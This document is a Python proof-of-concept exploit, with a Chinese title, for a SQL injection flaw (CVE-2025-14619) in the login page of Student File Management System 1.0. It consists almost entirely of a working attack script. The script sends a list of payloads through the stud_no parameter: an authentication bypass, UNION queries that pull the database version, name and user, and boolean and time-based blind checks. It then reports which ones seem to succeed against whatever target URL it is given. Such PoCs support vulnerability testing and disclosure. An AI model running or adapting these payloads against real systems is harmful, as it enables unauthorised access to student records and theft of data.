CVE-2025-14619 Student File Management System SQL注入漏洞

# CVE-2025-14619 SQL Injection PoC # Target: Student File Management System 1.0 - login_query.php # Parameter: stud_no import requests import sys def exploit_sql_injection(target_url, payload): """ SQL Injection PoC for CVE-2025-14619 Tests for boolean-based blind SQL injection """ # Target endpoint endpoint = f"{target_url}/login_query.php" # Malicious payload - extracts database version data = { 'stud_no': payload, 'submit': 'Login' } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" # Test payloads payloads = [ # Basic authentication bypass "admin' OR '1'='1", # UNION-based injection to get database version "admin' UNION SELECT 1,2,@@version,4,5--", # Extract current database name "admin' UNION SELECT 1,2,database(),4,5--", # Extract user information "admin' UNION SELECT 1,2,user(),4,5--", # Boolean-based blind injection to verify vulnerability "admin' AND 1=1--", # Time-based blind injection "admin' AND SLEEP(5)--" ] if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14619.py <target_url>") print("Example: python cve-2025-14619.py http://localhost/student-management") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-14619 on {target}") for payload in payloads: print(f"\n[*] Testing payload: {payload}") result = exploit_sql_injection(target, payload) print(f"[+] Response length: {len(result)}") if 'admin' in result.lower() or 'login' in result.lower(): print("[!] Possible successful injection detected")